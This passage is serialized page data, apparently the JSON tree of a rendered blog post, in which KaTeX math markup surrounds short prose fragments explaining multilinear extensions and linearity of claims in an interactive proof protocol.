8},{"style":111796},[113109,113113],{"type":22,"tag":264,"props":113110,"children":113112},{"className":113111,"style":2169},[326],[],{"type":22,"tag":264,"props":113114,"children":113116},{"className":113115},[332,333,334,335],[113117],{"type":22,"tag":264,"props":113118,"children":113120},{"className":113119},[289,335],[113121,113126,113131],{"type":22,"tag":264,"props":113122,"children":113124},{"className":113123},[289,2178,335],[113125],{"type":27,"value":5050},{"type":22,"tag":264,"props":113127,"children":113129},{"className":113128},[670,335],[113130],{"type":27,"value":5372},{"type":22,"tag":264,"props":113132,"children":113134},{"className":113133},[289,335],[113135],{"type":27,"value":602},{"type":22,"tag":264,"props":113137,"children":113139},{"className":113138},[396],[113140],{"type":27,"value":399},{"type":22,"tag":264,"props":113142,"children":113144},{"className":113143},[311],[113145],{"type":22,"tag":264,"props":113146,"children":113148},{"className":113147,"style":111837},[316],[113149],{"type":22,"tag":264,"props":113150,"children":113151},{},[],{"type":22,"tag":264,"props":113153,"children":113155},{"className":113154,"style":665},[420],[],{"type":22,"tag":264,"props":113157,"children":113159},{"className":113158},[670],[113160],{"type":27,"value":112629},{"type":22,"tag":264,"props":113162,"children":113164},{"className":113163,"style":665},[420],[],{"type":22,"tag":264,"props":113166,"children":113168},{"className":113167},[278],[113169,113173],{"type":22,"tag":264,"props":113170,"children":113172},{"className":113171,"style":111337},[283],[],{"type":22,"tag":264,"props":113174,"children":113176},{"className":113175},[289],[113177,113182],{"type":22,"tag":264,"props":113178,"children":113180},{"className":113179,"style":94370},[289,2178],[113181],{"type":27,"value":95188},{"type":22,"tag":264,"props":113183,"children":113185},{"className":113184},[2147],[113186],{"type":22,"tag":264,"props":113187,"children":113189},{"className":113188},[305,306],[113190,113219],{"type":22,"tag":264,"props":113191,"children":113193},{"className":113192},[311],[113194,113214],{"type":22,"tag":264,"props":113195,"children":113197},{"className":113196,"style":94898},[316],[113198],{"type":22,"tag":264,"props":113199,"children":113200},{"style":111366},[113201,113205],{"type":22,"tag":264,"props":113202,"children":113204},{"className":113203,"style":2169},[326],[],{"type":22,"tag":264,"props":113206,"children":113208},{"className":113207},[332,333,334,335],[113209],{"type":22,"tag":264,"props":113210,"children":113212},{"className":113211},[289,2178,335],[113213],{"type":27,"value":5050},{"type":22,"tag":264,"props":113215,"children":113217},{"className":113216},[396],[113218],{"type":27,"value":399},{"type":22,"tag":264,"props":113220,"children":113222},{"className":113221},[311],[113223],{"type":22,"tag":264,"props":113224,"children":113226},{"className":113225,"style":2721},[316],[113227],{"type":22,"tag":264,"props":113228,"children":113229},{},[],{"type":22,"tag":23,"props":113231,"children":113232},{},[113233,113234,113330,113332,113357,113359,113384],{"type":27,"value":47456},{"type":22,"tag":242,"props":113235,"children":113236},{},[113237,113239],{"type":27,"value":113238},"linear in ",{"type":22,"tag":257,"props":113240,"children":113242},{"className":113241},[260,261],[113243],{"type":22,"tag":264,"props":113244,"children":113246},{"className":113245},[267],[113247],{"type":22,"tag":264,"props":113248,"children":113250},{"className":113249,"ariaHidden":273},[272],[113251],{"type":22,"tag":264,"props":113252,"children":113254},{"className":113253},[278],[113255,113259],{"type":22,"tag":264,"props":113256,"children":113258},{"className":113257,"style":111767},[283],[],{"type":22,"tag":264,"props":113260,"children":113262},{"className":113261},[289],[113263,113268],{"type":22,"tag":264,"props":113264,"children":113266},{"className":113265,"style":94603},[289,2178],[113267],{"type":27,"value":94606},{"type":22,"tag":264,"props":113269,"children":113271},{"className":113270},[2147],[113272],{"type":22,"tag":264,"props":113273,"children":113275},{"className":113274},[305,306],[113276,113319],{"type":22,"tag":264,"props":113277,"children":113279},{"className":113278},[311],[113280,113314],{"type":22,"tag":264,"props":113281,"children":113283},{"className":113282,"style":94898},[316],[113284],{"type":22,"tag":264,"props":113285,"children":113286},{"style":111796},[113287,113291],{"type":22,"tag":264,"props":113288,"children":113290},{"className":113289,"style":2169},[326],[],{"type":22,"tag":264,"props":113292,"children":113294},{"className":113293},[332,333,334,335],[113295],{"type":22,"tag":264,"props":113296,"children":113298},{"className":113297},[289,335],[113299,113304,113309],{"type":22,"tag":264,"props":113300,"children":113302},{"className":113301},[289,2178,335],[113303],{"type":27,"value":5050},{"type":22,"tag":264,"props":113305,"children":113307},{"className":113306},[670,335],[113308],{"type":27,"value":5372},{"type":22,"tag":264,"props":113310,"children":113312},{"className":113311},[289,335],[113313],{"type":27,"value":602},{"type":22,"tag":264,"props":113315,"children":113317},{"className":113316},[396],[113318],{"type":27,"value":399},{"type":22,"tag":264,"props":113320,"children":113322},{"className":113321},[311],[113323],{"type":22,"tag":264,"props":113324,"children":113326},{"className":113325,"style":111837},[316],[113327],{"type":22,"tag":264,"props":113328,"children":113329},{},[],{"type":27,"value":113331},"! By induction, the final claim is linear in the original ",{"type":22,"tag":257,"props":113333,"children":113335},{"className":113334},[260,261],[113336],{"type":22,"tag":264,"props":113337,"children":113339},{"className":113338},[267],[113340],{"type":22,"tag":264,"props":113341,"children":113343},{"className":113342,"ariaHidden":273},[272],[113344],{"type":22,"tag":264,"props":113345,"children":113347},{"className":113346},[278],[113348,113352],{"type":22,"tag":264,"props":113349,"children":113351},{"className":113350,"style":441},[283],[],{"type":22,"tag":264,"props":113353,"children":113355},{"className":113354,"style":94603},[289,2178],[113356],{"type":27,"value":94606},{"type":27,"value":113358},". If ",{"type":22,"tag":257,"props":113360,"children":113362},{"className":113361},[260,261],[113363],{"type":22,"tag":264,"props":113364,"children":113366},{"className":113365},[267],[113367],{"type":22,"tag":264,"props":113368,"children":113370},{"className":113369,"ariaHidden":273},[272],[113371],{"type":22,"tag":264,"props":113372,"children":113374},{"className":113373},[278],[113375,113379],{"type":22,"tag":264,"props":113376,"children":113378},{"className":113377,"style":441},[283],[],{"type":22,"tag":264,"props":113380,"children":113382},{"className":113381,"style":94603},[289,2178],[113383],{"type":27,"value":94606},{"type":27,"value":113385}," isn't in the transcript, we can solve for it.",{"type":22,"tag":181,"props":113387,"children":113389},{"id":113388},"multilinear-extensions-mles",[113390],{"type":27,"value":113391},"Multilinear Extensions (MLEs)",{"type":22,"tag":23,"props":113393,"children":113394},{},[113395,113397,113482],{"type":27,"value":113396},"An MLE is just the polynomial view of a table over ",{"type":22,"tag":257,"props":113398,"children":113400},{"className":113399},[260,261],[113401],{"type":22,"tag":264,"props":113402,"children":113404},{"className":113403},[267],[113405],{"type":22,"tag":264,"props":113406,"children":113408},{"className":113407,"ariaHidden":273},[272],[113409],{"type":22,"tag":264,"props":113410,"children":113412},{"className":113411},[278],[113413,113417,113422,113427,113432,113436,113441],{"type":22,"tag":264,"props":113414,"children":113416},{"className":113415,"style":5409},[283],[],{"type":22,"tag":264,"props":113418,"children":113420},{"className":113419},[294],[113421],{"type":27,"value":77944},{"type":22,"tag":264,"props":113423,"children":113425},{"className":113424},[289],[113426],{"type":27,"value":5334},{"type":22,"tag":264,"props":113428,"children":113430},{"className":113429},[5420],[113431],{"type":27,"value":5423},{"type":22,"tag":264,"props":113433,"children":113435},{"className":113434,"style":5427},[420],[],{"type":22,"tag":264,"props":113437,"children":113439},{"className":113438},[289],[113440],{"type":27,"value":602},{"type":22,"tag":264,"props":113442,"children":113444},{"className":113443},[415],[113445,113450],{"type":22,"tag":264,"props":113446,"children":113448},{"className":113447},[415],[113449],{"type":27,"value":35455},{"type":22,"tag":264,"props":113451,"children":113453},{"className":113452},[2147],[113454],{"type":22,"tag":264,"props":113455,"children":113457},{"className":113456},[305],[113458],{"type":22,"tag":264,"props":113459,"children":113461},{"className":113460},[311],[113462],{"type":22,"tag":264,"props":113463,"children":113465},{"className":113464,"style":110085},[316],[113466],{"type":22,"tag":264,"props":113467,"children":113468},{"style":5353},[113469,113473],{"type":22,"tag":264,"props":113470,"children":113472},{"className":113471,"style":2169},[326],[],{"type":22,"tag":264,"props":113474,"children":113476},{"className":113475},[332,333,334,335],[113477],{"type":22,"tag":264,"props":113478,"children":113480},{"className":113479},[289,2178,335],[113481],{"type":27,"value":57724},{"type":27,"value":113483},": it matches the table on Boolean points and extends it to field points.",{"type":22,"tag":23,"props":113485,"children":113486},{},[113487],{"type":27,"value":113488},"For this post, the only property you need is:",{"type":22,"tag":23,"props":113490,"children":113491},{},[113492],{"type":22,"tag":257,"props":113493,"children":113495},{"className":113494},[260,261],[113496],{"type":22,"tag":264,"props":113497,"children":113499},{"className":113498},[267],[113500],{"type":22,"tag":264,"props":113501,"children":113503},{"className":113502,"ariaHidden":273},[272],[113504,113662,113934],{"type":22,"tag":264,"props":113505,"children":113507},{"className":113506},[278],[113508,113513,113580,113585,113644,113649,113653,113658],{"type":22,"tag":264,"props":113509,"children":113512},{"className":113510,"style":113511},[283],"height:1.1813em;vertical-align:-0.25em;",[],{"type":22,"tag":264,"props":113514,"children":113517},{"className":113515},[289,113516],"accent",[113518],{"type":22,"tag":264,"props":113519,"children":113521},{"className":113520},[305,306],[113522,113568],{"type":22,"tag":264,"props":113523,"children":113525},{"className":113524},[311],[113526,113563],{"type":22,"tag":264,"props":113527,"children":113530},{"className":113528,"style":113529},[316],"height:0.9313em;",[113531,113543],{"type":22,"tag":264,"props":113532,"children":113533},{"style":3602},[113534,113538],{"type":22,"tag":264,"props":113535,"children":113537},{"className":113536,"style":327},[326],[],{"type":22,"tag":264,"props":113539,"children":113541},{"className":113540,"style":96722},[289,2178],[113542],{"type":27,"value":34401},{"type":22,"tag":264,"props":113544,"children":113546},{"style":113545},"top:-3.6134em;",[113547,113551],{"type":22,"tag":264,"props":113548,"children":113550},{"className":113549,"style":327},[326],[],{"type":22,"tag":264,"props":113552,"children":113556},{"className":113553,"style":113555},[113554],"accent-body","left:-0.0833em;",[113557],{"type":22,"tag":264,"props":113558,"children":113560},{"className":113559},[289],[113561],{"type":27,"value":113562},"~",{"type":22,"tag":264,"props":113564,"children":113566},{"className":113565},[396],[113567],{"type":27,"value":399},{"type":22,"tag":264,"props":113569,"children":113571},{"className":113570},[311],[113572],{"type":22,"tag":264,"props":113573,"children":113576},{"className":113574,"style":113575},[316],"height:0.1944em;",[113577],{"type":22,"tag":264,"props":113578,"children":113579},{},[],{"type":22,"tag":264,"props":113581,"children":113583},{"className":113582},[294],[113584],{"type":27,"value":2660},{"type":22,"tag":264,"props":113586,"children":113588},{"className":113587},[289,113516],[113589],{"type":22,"tag":264,"props":113590,"children":113592},{"className":113591},[305],[113593],{"type":22,"tag":264,"props":113594,"children":113596},{"className":113595},[311],[113597],{"type":22,"tag":264,"props":113598,"children":113601},{"className":113599,"style":113600},[316],"height:0.714em;",[113602,113614],{"type":22,"tag":264,"props":113603,"children":113604},{"style":3602},[113605,113609],{"type":22,"tag":264,"props":113606,"children":113608},{"className":113607,"style":327},[326],[],{"type":22,"tag":264,"props":113610,"children":113612},{"className":113611,"style":94370},[289,2178],[113613],{"type":27,"value":95188},{"type":22,"tag":264,"props":113615,"children":113616},{"style":3602},[113617,113621],{"type":22,"tag":264,"props":113618,"children":113620},{"className":113619,"style":327},[326],[],{"type":22,"tag":264,"props":113622,"children":113625},{"className":113623,"style":113624},[113554],"left:-0.1799em;",[113626],{"type":22,"tag":264,"props":113627,"children":113631},{"className":113628,"style":113630},[113629],"overlay","height:0.714em;width:0.471em;",[113632],{"type":22,"tag":2968,"props":113633,"children":113639},{"xmlns":2970,"width":113634,"height":113635,"style":113636,"viewBox":113637,"preserveAspectRatio":113638},"0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[113640],{"type":22,"tag":2977,"props":113641,"children":113643},{"d":113642},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":22,"tag":264,"props":113645,"children":113647},{"className":113646},[415],[113648],{"type":27,"value":2806},{"type":22,"tag":264,"props":113650,"children":113652},{"className":113651,"style":421},[420],[],{"type":22,"tag":264,"props":113654,"children":113656},{"className":113655},[426],[113657],{"type":27,"value":429},{"type":22,"tag":264,"props":113659,"children":113661},{"className":113660,"style":421},[420],[],{"type":22,"tag":264,"props":113663,"children":113665},{"className":113664},[278],[113666,113671,113852,113856,113861,113866,113916,113921,113925,113930],{"type":22,"tag":264,"props":113667,"children":113670},{"className":113668,"style":113669},[283],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":22,"tag":264,"props":113672,"children":113674},{"className":113673},[22929],[113675,113680],{"type":22,"tag":264,"props":113676,"children":113678},{"className":113677,"style":22936},[22929,22934,22935],[113679],{"type":27,"value":110163},{"type":22,"tag":264,"props":113681,"children":113683},{"className":113682},[2147],[113684],{"type":22,"tag":264,"props":113685,"children":113687},{"className":113686},[305,306],[113688,113840],{"type":22,"tag":264,"props":113689,"children":113691},{"className":113690},[311],[113692,113835],{"type":22,"tag":264,"props":113693,"children":113696},{"className":113694,"style":113695},[316],"height:0.3448em;",[113697],{"type":22,"tag":264,"props":113698,"children":113700},{"style":113699},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[113701,113705],{"type":22,"tag":264,"props":113702,"children":113704},{"className":113703,"style":2169},[326],[],{"type":22,"tag":264,"props":113706,"children":113708},{"className":113707},[332,333,334,335],[113709],{"type":22,"tag":264,"props":113710,"children":113712},{"className":113711},[289,335],[113713,113767,113772,113777,113782,113787,113792],{"type":22,"tag":264,"props":113714,"children":113716},{"className":113715},[289,113516,335],[113717],{"type":22,"tag":264,"props":113718,"children":113720},{"className":113719},[305],[113721],{"type":22,"tag":264,"props":113722,"children":113724},{"className":113723},[311],[113725],{"type":22,"tag":264,"props":113726,"children":113729},{"className":113727,"style":113728},[316],"height:0.9774em;",[113730,113744],{"type":22,"tag":264,"props":113731,"children":113733},{"style":113732},"top:-2.714em;",[113734,113739],{"type":22,"tag":264,"props":113735,"children":113738},{"className":113736,"style":113737},[326],"height:2.714em;",[],{"type":22,"tag":264,"props":113740,"children":113742},{"className":113741},[289,2178,335],[113743],{"type":27,"value":2181},{"type":22,"tag":264,"props":113745,"children":113747},{"style":113746},"top:-2.9774em;",[113748,113752],{"type":22,"tag":264,"props":113749,"children":113751},{"className":113750,"style":113737},[326],[],{"type":22,"tag":264,"props":113753,"children":113756},{"className":113754,"style":113755},[113554],"left:-0.2355em;",[113757],{"type":22,"tag":264,"props":113758,"children":113760},{"className":113759,"style":113630},[113629,335],[113761],{"type":22,"tag":2968,"props":113762,"children":113763},{"xmlns":2970,"width":113634,"height":113635,"style":113636,"viewBox":113637,"preserveAspectRatio":113638},[113764],{"type":22,"tag":2977,"props":113765,"children":113766},{"d":113642},[],{"type":22,"tag":264,"props":113768,"children":113770},{"className":113769},[426,335],[113771],{"type":27,"value":22999},{"type":22,"tag":264,"props":113773,"children":113775},{"className":113774},[294,335],[113776],{"type":27,"value":77944},{"type":22,"tag":264,"props":113778,"children":113780},{"className":113779},[289,335],[113781],{"type":27,"value":5334},{"type":22,"tag":264,"props":113783,"children":113785},{"className":113784},[5420,335],[113786],{"type":27,"value":5423},{"type":22,"tag":264,"props":113788,"children":113790},{"className":113789},[289,335],[113791],{"type":27,"value":602},{"type":22,"tag":264,"props":113793,"children":113795},{"className":113794},[415,335],[113796,113801],{"type":22,"tag":264,"props":113797,"children":113799},{"className":113798},[415,335],[113800],{"type":27,"value":35455},{"type":22,"tag":264,"props":113802,"children":113804},{"className":113803},[2147],[113805],{"type":22,"tag":264,"props":113806,"children":113808},{"className":113807},[305],[113809],{"type":22,"tag":264,"props":113810,"children":113812},{"className":113811},[311],[113813],{"type":22,"tag":264,"props":113814,"children":113817},{"className":113815,"style":113816},[316],"height:0.5935em;",[113818],{"type":22,"tag":264,"props":113819,"children":113821},{"style":113820},"top:-2.786em;margin-right:0.0714em;",[113822,113826],{"type":22,"tag":264,"props":113823,"children":113825},{"className":113824,"style":110228},[326],[],{"type":22,"tag":264,"props":113827,"children":113829},{"className":113828},[332,110233,110234,335],[113830],{"type":22,"tag":264,"props":113831,"children":113833},{"className":113832},[289,2178,335],[113834],{"type":27,"value":57724},{"type":22,"tag":264,"props":113836,"children":113838},{"className":113837},[396],[113839],{"type":27,"value":399},{"type":22,"tag":264,"props":113841,"children":113843},{"className":113842},[311],[113844],{"type":22,"tag":264,"props":113845,"children":113848},{"className":113846,"style":113847},[316],"height:0.5144em;",[113849],{"type":22,"tag":264,"props":113850,"children":113851},{},[],{"type":22,"tag":264,"props":113853,"children":113855},{"className":113854,"style":5427},[420],[],{"type":22,"tag":264,"props":113857,"children":113859},{"className":113858,"style":96722},[289,2178],[113860],{"type":27,"value":34401},{"type":22,"tag":264,"props":113862,"children":113864},{"className":113863},[294],[113865],{"type":27,"value":2660},{"type":22,"tag":264,"props":113867,"children":113869},{"className":113868},[289,113516],[113870],{"type":22,"tag":264,"props":113871,"children":113873},{"className":113872},[305],[113874],{"type":22,"tag":264,"props":113875,"children":113877},{"className":113876},[311],[113878],{"type":22,"tag":264,"props":113879,"children":113881},{"className":113880,"style":113728},[316],[113882,113894],{"type":22,"tag":264,"props":113883,"children":113884},{"style":3602},[113885,113889],{"type":22,"tag":264,"props":113886,"children":113888},{"className":113887,"style":327},[326],[],{"type":22,"tag":264,"props":113890,"children":113892},{"className":113891},[289,2178],[113893],{"type":27,"value":2181},{"type":22,"tag":264,"props":113895,"children":113897},{"style":113896},"top:-3.2634em;",[113898,113902],{"type":22,"tag":264,"props":113899,"children":113901},{"className":113900,"style":327},[326],[],{"type":22,"tag":264,"props":113903,"children":113905},{"className":113904,"style":113755},[113554],[113906],{"type":22,"tag":264,"props":113907,"children":113909},{"className":113908,"style":113630},[113629],[113910],{"type":22,"tag":2968,"props":113911,"children":113912},{"xmlns":2970,"width":113634,"height":113635,"style":113636,"viewBox":113637,"preserveAspectRatio":113638},[113913],{"type":22,"tag":2977,"props":113914,"children":113915},{"d":113642},[],{"type":22,"tag":264,"props":113917,"children":113919},{"className":113918},[415],[113920],{"type":27,"value":2806},{"type":22,"tag":264,"props":113922,"children":113924},{"className":113923,"style":665},[420],[],{"type":22,"tag":264,"props":113926,"children":113928},{"className":113927},[670],[113929],{"type":27,"value":112629},{"type":22,"tag":264,"props":113931,"children":113933},{"className":113932,"style":665},[420],[],{"type":22,"tag":264,"props":113935,"children":113937},{"className":113936},[278],[113938,113943,113953,113958,114007,114012,114016,114065],{"type":22,"tag":264,"props":113939,"children":113942},{"className":113940,"style":113941},[283],"height:1.2274em;vertical-align:-0.25em;",[],{"type":22,"tag":264,"props":113944,"children":113946},{"className":113945},[289,27],[113947],{"type":22,"tag":264,"props":113948,"children":113950},{"className":113949},[289],[113951],{"type":27,"value":113952},"eq",{"type":22,"tag":264,"props":113954,"children":113956},{"className":113955},[294],[113957],{"type":27,"value":2660},{"type":22,"tag":264,"props":113959,"children":113961},{"className":113960},[289,113516],[113962],{"type":22,"tag":264,"props":113963,"children":113965},{"className":113964},[305],[113966],{"type":22,"tag":264,"props":113967,"children":113969},{"className":113968},[311],[113970],{"type":22,"tag":264,"props":113971,"children":113973},{"className":113972,"style":113728},[316],[113974,113986],{"type":22,"tag":264,"props":113975,"children":113976},{"style":3602},[113977,113981],{"type":22,"tag":264,"props":113978,"children":113980},{"className":113979,"style":327},[326],[],{"type":22,"tag":264,"props":113982,"children":113984},{"className":113983},[289,2178],[113985],{"type":27,"value":2181},{"type":22,"tag":264,"props":113987,"children":113988},{"style":113896},[113989,113993],{"type":22,"tag":264,"props":113990,"children":113992},{"className":113991,"style":327},[326],[],{"type":22,"tag":264,"props":113994,"children":113996},{"className":113995,"style":113755},[113554],[113997],{"type":22,"tag":264,"props":113998,"children":114000},{"className":113999,"style":113630},[113629],[114001],{"type":22,"tag":2968,"props":114002,"children":114003},{"xmlns":2970,"width":113634,"height":113635,"style":113636,"viewBox":113637,"preserveAspectRatio":113638},[114004],{"type":22,"tag":2977,"props":114005,"children":114006},{"d":113642},[],{"type":22,"tag":264,"props":114008,"children":114010},{"className":114009},[5420],[114011],{"type":27,"value":5423},{"type":22,"tag":264,"props":114013,"children":114015},{"className":114014,"style":5427},[420],[],{"type":22,"tag":264,"props":114017,"children":114019},{"className":114018},[289,113516],[114020],{"type":22,"tag":264,"props":114021,"children":114023},{"className":114022},[305],[114024],{"type":22,"tag":264,"props":114025,"children":114027},{"className":114026},[311],[114028],{"type":22,"tag":264,"props":114029,"children":114031},{"className":114030,"style":113600},[316],[114032,114044],{"type":22,"tag":264,"props":114033,"children":114034},{"style":3602},[114035,114039],{"type":22,"tag":264,"props":114036,"children":114038},{"className":114037,"style":327},[326],[],{"type":22,"tag":264,"props":114040,"children":114042},{"className":114041,"style":94370},[289,2178],[114043],{"type":27,"value":95188},{"type":22,"tag":264,"props":114045,"children":114046},{"style":3602},[114047,114051],{"type":22,"tag":264,"props":114048,"children":114050},{"className":114049,"style":327},[326],[],{"type":22,"tag":264,"props":114052,"children":114054},{"className":114053,"style":113624},[113554],[114055],{"type":22,"tag":264,"props":114056,"children":114058},{"className":114057,"style":113630},[113629],[114059],{"type":22,"tag":2968,"props":114060,"children":114061},{"xmlns":2970,"width":113634,"height":113635,"style":113636,"viewBox":113637,"preserveAspectRatio":113638},[114062],{"type":22,"tag":2977,"props":114063,"children":114064},{"d":113642},[],{"type":22,"tag":264,"props":114066,"children":114068},{"className":114067},[415],[114069],{"type":27,"value":2806},{"type":22,"tag":23,"props":114071,"children":114072},{},[114073,114075,114144,114146,114292,114294,114433,114435,114519],{"type":27,"value":114074},"At a fixed challenge point ",{"type":22,"tag":257,"props":114076,"children":114078},{"className":114077},[260,261],[114079],{"type":22,"tag":264,"props":114080,"children":114082},{"className":114081},[267],[114083],{"type":22,"tag":264,"props":114084,"children":114086},{"className":114085,"ariaHidden":273},[272],[114087],{"type":22,"tag":264,"props":114088,"children":114090},{"className":114089},[278],[114091,114095],{"type":22,"tag":264,"props":114092,"children":114094},{"className":114093,"style":113600},[283],[],{"type":22,"tag":264,"props":114096,"children":114098},{"className":114097},[289,113516],[114099],{"type":22,"tag":264,"props":114100,"children":114102},{"className":114101},[305],[114103],{"type":22,"tag":264,"props":114104,"children":114106},{"className":114105},[311],[114107],{"type":22,"tag":264,"props":114108,"children":114110},{"className":114109,"style":113600},[316],[114111,114123],{"type":22,"tag":264,"props":114112,"children":114113},{"style":3602},[114114,114118],{"type":22,"tag":264,"props":114115,"children":114117},{"className":114116,"style":327},[326],[],{"type":22,"tag":264,"props":114119,"children":114121},{"className":114120,"style":94370},[289,2178],[114122],{"type":27,"value":95188},{"type":22,"tag":264,"props":114124,"children":114125},{"style":3602},[114126,114130],{"type":22,"tag":264,"props":114127,"children":114129},{"className":114128,"style":327},[326],[],{"type":22,"tag":264,"props":114131,"children":114133},{"className":114132,"style":113624},[113554],[114134],{"type":22,"tag":264,"props":114135,"children":114137},{"className":114136,"style":113630},[113629],[114138],{"type":22,"tag":2968,"props":114139,"children":114140},{"xmlns":2970,"width":113634,"height":113635,"style":113636,"viewBox":113637,"preserveAspectRatio":113638},[114141],{"type":22,"tag":2977,"props":114142,"children":114143},{"d":113642},[],{"type":27,"value":114145},", the coefficients ",{"type":22,"tag":257,"props":114147,"children":114149},{"className":114148},[260,261],[114150],{"type":22,"tag":264,"props":114151,"children":114153},{"className":114152},[267],[114154],{"type":22,"tag":264,"props":114155,"children":114157},{"className":114156,"ariaHidden":273},[272],[114158],{"type":22,"tag":264,"props":114159,"children":114161},{"className":114160},[278],[114162,114166,114175,114180,114229,114234,114238,114287],{"type":22,"tag":264,"props":114163,"children":114165},{"className":114164,"style":113941},[283],[],{"type":22,"tag":264,"props":114167,"children":114169},{"className":114168},[289,27],[114170],{"type":22,"tag":264,"props":114171,"children":114173},{"className":114172},[289],[114174],{"type":27,"value":113952},{"type":22,"tag":264,"props":114176,"children":114178},{"className":114177},[294],[114179],{"type":27,"value":2660},{"type":22,"tag":264,"props":114181,"children":114183},{"className":114182},[289,113516],[114184],{"type":22,"tag":264,"props":114185,"children":114187},{"className":114186},[305],[114188],{"type":22,"tag":264,"props":114189,"children":114191},{"className":114190},[311],[114192],{"type":22,"tag":264,"props":114193,"children":114195},{"className":114194,"style":113728},[316],[114196,114208],{"type":22,"tag":264,"props":114197,"children":114198},{"style":3602},[114199,114203],{"type":22,"tag":264,"props":114200,"children":114202},{"className":114201,"style":327},[326],[],{"type":22,"tag":264,"props":114204,"children":114206},{"className":114205},[289,2178],[114207],{"type":27,"value":2181},{"type":22,"tag":264,"props":114209,"children":114210},{"style":113896},[114211,114215],{"type":22,"tag":264,"props":114212,"children":114214},{"className":114213,"style":327},[326],[],{"type":22,"tag":264,"props":114216,"children":114218},{"className":114217,"style":113755},[113554],[114219],{"type":22,"tag":264,"props":114220,"children":114222},{"className":114221,"style":113630},[113629],[114223],{"type":22,"tag":2968,"props":114224,"children":114225},{"xmlns":2970,"width":113634,"height":113635,"style":113636,"viewBox":113637,"preserveAspectRatio":113638},[114226],{"type":22,"tag":2977,"props":114227,"children":114228},{"d":113642},[],{"type":22,"tag":264,"props":114230,"children":114232},{"className":114231},[5420],[114233],{"type":27,"value":5423},{"type":22,"tag":264,"props":114235,"children":114237},{"className":114236,"style":5427},[420],[],{"type":22,"tag":264,"props":114239,"children":114241},{"className":114240},[289,113516],[114242],{"type":22,"tag":264,"props":114243,"children":114245},{"className":114244},[305],[114246],{"type":22,"tag":264,"props":114247,"children":114249},{"className":114248},[311],[114250],{"type":22,"tag":264,"props":114251,"children":114253},{"className":114252,"style":113600},[316],[114254,114266],{"type":22,"tag":264,"props":114255,"children":114256},{"style":3602},[114257,114261],{"type":22,"tag":264,"props":114258,"children":114260},{"className":114259,"style":327},[326],[],{"type":22,"tag":264,"props":114262,"children":114264},{"className":114263,"style":94370},[289,2178],[114265],{"type":27,"value":95188},{"type":22,"tag":264,"props":114267,"children":114268},{"style":3602},[114269,114273],{"type":22,"tag":264,"props":114270,"children":114272},{"className":114271,"style":327},[326],[],{"type":22,"tag":264,"props":114274,"children":114276},{"className":114275,"style":113624},[113554],[114277],{"type":22,"tag":264,"props":114278,"children":114280},{"className":114279,"style":113630},[113629],[114281],{"type":22,"tag":2968,"props":114282,"children":114283},{"xmlns":2970,"width":113634,"height":113635,"style":113636,"viewBox":113637,"preserveAspectRatio":113638},[114284],{"type":22,"tag":2977,"props":114285,"children":114286},{"d":113642},[],{"type":22,"tag":264,"props":114288,"children":114290},{"className":114289},[415],[114291],{"type":27,"value":2806},{"type":27,"value":114293}," are constants, so ",{"type":22,"tag":257,"props":114295,"children":114297},{"className":114296},[260,261],[114298],{"type":22,"tag":264,"props":114299,"children":114301},{"className":114300},[267],[114302],{"type":22,"tag":264,"props":114303,"children":114305},{"className":114304,"ariaHidden":273},[272],[114306],{"type":22,"tag":264,"props":114307,"children":114309},{"className":114308},[278],[114310,114314,114374,114379,114428],{"type":22,"tag":264,"props":114311,"children":114313},{"className":114312,"style":113511},[283],[],{"type":22,"tag":264,"props":114315,"children":114317},{"className":114316},[289,113516],[114318],{"type":22,"tag":264,"props":114319,"children":114321},{"className":114320},[305,306],[114322,114363],{"type":22,"tag":264,"props":114323,"children":114325},{"className":114324},[311],[114326,114358],{"type":22,"tag":264,"props":114327,"children":114329},{"className":114328,"style":113529},[316],[114330,114342],{"type":22,"tag":264,"props":114331,"children":114332},{"style":3602},[114333,114337],{"type":22,"tag":264,"props":114334,"children":114336},{"className":114335,"style":327},[326],[],{"type":22,"tag":264,"props":114338,"children":114340},{"className":114339,"style":96722},[289,2178],[114341],{"type":27,"value":34401},{"type":22,"tag":264,"props":114343,"children":114344},{"style":113545},[114345,114349],{"type":22,"tag":264,"props":114346,"children":114348},{"className":114347,"style":327},[326],[],{"type":22,"tag":264,"props":114350,"children":114352},{"className":114351,"style":113555},[113554],[114353],{"type":22,"tag":264,"props":114354,"children":114356},{"className":114355},[289],[114357],{"type":27,"value":113562},{"type":22,"tag":264,"props":114359,"children":114361},{"className":114360},[396],[114362],{"type":27,"value":399},{"type":22,"tag":264,"props":114364,"children":114366},{"className":114365},[311],[114367],{"type":22,"tag":264,"props":114368,"children":114370},{"className":114369,"style":113575},[316],[114371],{"type":22,"tag":264,"props":114372,"children":114373},{},[],{"type":22,"tag":264,"props":114375,"children":114377},{"className":114376},[294],[114378],{"type":27,"value":2660},{"type":22,"tag":264,"props":114380,"children":114382},{"className":114381},[289,113516],[114383],{"type":22,"tag":264,"props":114384,"children":114386},{"className":114385},[305],[114387],{"type":22,"tag":264,"props":114388,"children":114390},{"className":114389},[311],[114391],{"type":22,"tag":264,"props":114392,"children":114394},{"className":114393,"style":113600},[316],[114395,114407],{"type":22,"tag":264,"props":114396,"children":114397},{"style":3602},[114398,114402],{"type":22,"tag":264,"props":114399,"children":114401},{"className":114400,"style":327},[326],[],{"type":22,"tag":264,"props":114403,"children":114405},{"className":114404,"style":94370},[289,2178],[114406],{"type":27,"value":95188},{"type":22,"tag":264,"props":114408,"children":114409},{"style":3602},[114410,114414],{"type":22,"tag":264,"props":114411,"children":114413},{"className":114412,"style":327},[326],[],{"type":22,"tag":264,"props":114415,"children":114417},{"className":114416,"style":113624},[113554],[114418],{"type":22,"tag":264,"props":114419,"children":114421},{"className":114420,"style":113630},[113629],[114422],{"type":22,"tag":2968,"props":114423,"children":114424},{"xmlns":2970,"width":113634,"height":113635,"style":113636,"viewBox":113637,"preserveAspectRatio":113638